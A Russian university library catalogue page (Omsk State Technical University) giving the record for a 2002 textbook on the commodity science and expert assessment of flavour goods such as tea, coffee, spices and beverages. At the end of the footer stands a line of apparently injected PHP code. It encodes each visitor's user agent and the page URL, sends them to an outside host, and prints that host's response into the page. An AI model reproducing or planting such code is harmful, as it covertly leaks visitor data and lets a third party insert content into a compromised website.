Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

392 пользователей


Зарегистрированных: 1 

Борисенко Виктория Александровна


 
      Наши партнеры
Студенческий информационный портал компании
("Шифр документа=658.6/.8/Ч-44-271927")
Результаты поиска
E_OMSTU: Найдено записей: 1
1. 
658.6/.8/Ч-44-271927
658.6/.8/Ч-44
Чепурной, Иван Петрович.
Товароведение и экспертиза вкусовых товаров [Текст] : учеб. для вузов по специальности "Товароведение и экспертиза товаров" / И. П. Чепурной. - М. : Маркетинг, 2002. - 402, [1] с. : рис., табл. - Библиогр.: с. 402-403. - 5000 экз. - ISBN 5-94462-168-0 : 108.90 р.

УДК 658.62(075)

Рубрики:
Товароведение -- Учебники и пособия
Товары -- Экспертиза -- УЧЕБНИКИ И ПОСОБИЯ

Кл.слова (ненормированные): УЧЕБНИК И ПОСОБИЕ *
Аннотация: Вкусовые товары включают очень разнообразные по составу и свойствам продовольственные товары: чай и кофе, пряности и приправы, безалкогольные и алкогольные напитки. В данной книге представлены достаточно полные сведения о классификации этих групп товаров, приводятся факторы, формирующие и сохраняющие их качество.
Впервые приводятся методологические подходы к проведению экспертизы этой группы товаров с использованием как современных методов анализа, так и оригинальных экспресс-методов.Экз-ры полностью 658.6/.8/Ч-44-271927
Имеются экземпляры в отделах:
ОНЛ (09.06.2004г. Инв.537977 - 108.90 р.) - свободен
Ключевые слова 
Экземпляры 
    Место храненияЭкземпляров
    ВсегоСвободно
    ОНЛ11

Вкусовые товары включают очень разнообразные по составу и свойствам <продовольственные> товары: <чай> и <кофе>, <пряности> и <приправы>, <безалкогольные> и <алкогольные> <напитки>. В данной книге представлены достаточно полные сведения о классификации этих групп товаров, приводятся факторы, формирующие и сохраняющие их <качество>.

Впервые приводятся методологические подходы к проведению экспертизы этой группы товаров с использованием как современных методов анализа, так и оригинальных экспресс-методов.

вернуться


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2839 - 19.03.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.85 с.8 запросов, 0.47c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;